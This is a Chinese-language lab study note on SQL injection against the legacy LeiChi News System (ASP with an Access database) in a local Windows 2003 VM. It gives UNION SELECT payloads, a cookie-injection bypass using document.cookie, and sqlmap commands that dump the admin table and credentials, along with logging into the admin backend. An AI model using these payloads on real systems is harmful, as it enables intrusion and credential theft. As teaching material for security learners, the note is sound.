【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入
目錄
ACCESS注入
雷馳新聞系統v1.0環境搭建:
ACCESS數據庫注入演示1:
雷馳新聞系統v3.0環境搭建:
ACCESS數據庫注入用sqlmap怎么做?演示:
?
ACCESS注入
雷馳新聞系統v1.0源碼下載(leichinewsv1.0.zip):https://www.onlinedown.net/soft/136.htm???
雷馳新聞系統v3.0源碼下載(leichinewsv3.0.rar):http://down.chinaz.com/soft/16763.htm
環境:win2003
雷馳新聞系統v1.0環境搭建:
打開win2003虛擬機
ip為:192.168.3.114
①把雷馳新聞系統源代碼拷貝到IIS的根目錄下(c:\Inetpub\wwwroot)
②打開IIS(開始---管理工具---IIS)
新建網站---描述8001-leichinewsv1.0---網站TCP端口:8002? 網站IP地址全部未分配(要給了地址就只能從這個地址訪問了)---路徑(找到文件)---訪問權限全部勾選
注意:允許asp
③搭建完成
打開物理機訪問192.168.3.114:8001
用戶名區分大小寫!
ACCESS數據庫注入演示1:
1、http://192.168.3.114:8002/onews.asp?id=45? 考慮存在SQL注入漏洞
①添加單引號----顯示數據庫出錯(但是沒有報錯)
②order by判斷出有11列
③?id=45 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11? 顯示數據庫出錯
報錯原因在于:access數據庫聯合查詢的時候后面必須要跟上一個from+表名
在我們mysql數據庫中union select 后面不需要跟上from+表名,access數據庫中需要給一個表名
④?id=45 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 from admin(站在防御者的角度來看,表名是可以被猜到的)
⑤發現2和3位置有回顯(獲得用戶名密碼)
⑥登錄后臺(adminlogin.asp)
發現登不進去:
可能bfpms是一個密文
使用雷馳加密解密工具,解密后bfpms就是admin
還是進不去,說明我們服務器沒有正確配置,服務器少改了一個選項就是啟用父路徑
后臺管理:如果admin/ad_login.asp這個網頁不是在站點的根目錄下,而是在子目錄下,所以要啟用父路徑:
如何打開父路徑?比如要打開zr網站:zr右鍵屬性——》主目錄——》配置——》選項——》啟用父路徑(勾上后就意味著這個站點下的子文件夾就可以訪問了)
刷新一下頁面,就登錄進來了:
?
雷馳新聞系統v3.0環境搭建:
1、將下載的文件放到IIS的根目錄下
2、新建網站---描述8002-leichinewsv3.0---網站TCP端口:8003? 網站IP地址全部未分配(要給了地址就只能從這個地址訪問了)---路徑(找到文件)---訪問權限全部勾選
注意:允許asp
leichinewsv3.0右鍵屬性---主目錄--配置---選項--啟用父路徑
cookie注入演示2:
http://192.168.3.114:8003/onews.asp?id=46
①添加單雙引號(都顯示數據庫出錯)懷疑是數字型注入
②order by 1
怎么繞過他呢?
返回onnews.asp顯示數據庫出錯
這時候打開console控制臺:輸入document.cookie="id=46"回車刷新頁面后就可以訪問了
這說明我們把id放到cookie里面去,頁面就能正常
我們再來一發:訪問id=45的頁面(到存儲里面改就行)
刷新一下就行了
服務器端可以接受來自cookie的參數,那我們可以在那里面order by了(空格用加號代替):不要加號代替空格做不出來
成功
不正常
測試后得知有11個字段
處理方法:document.cookie="id="+escape("-45 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")? 注意寫法
escape在js當中會對字符串進行url編碼
如果把id=寫在escape里,就會把等號變成url編碼形式,cookie就不會識別到id=這個cookie的名字
成功
ACCESS數據庫注入用sqlmap怎么做?演示:
http://192.168.3.114:8002/
遠程連接kali:ssh root@192.168.3.113
sqlmap -u "http://172.16.132.135:8001/onews.asp?id=45"
由于我們access數據庫注入不用猜測它的數據庫名的,直接--tables直接猜測表名
----
對于雷馳v1.0:
sqlmap -u "http://172.16.132.135:8001/onews.asp?id=45" --tables
sqlmap -u "http://172.16.132.135:8001/onews.asp?id=45" -T "admin" --columns
sqlmap -u "http://172.16.132.135:8001/onews.asp?id=45" -T "admin" -C "admin,passoword" --dump
----
SQLmap有緩存:history
對于雷馳3.0:
sqlmap -u "http://172.16.132.135:8002/onews.asp?id=45"?? ??? ??? (X)
發現沒有注入
?
我們需要一個特殊技巧,我們把id參數通過cookie提交,然后--level2:
sqlmap -u "http://172.16.132.135:8002/onews.asp" --cookie "id=45" --level 2?? (√ )
sqlmap -u "http://172.16.132.135:8002/onews.asp" --cookie "id=45" --level 2? --tables
后面操作都一樣
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 分布式数据流计算系统的数据缓存技术综述
- 下一篇: 数据库连接报错:Listener ref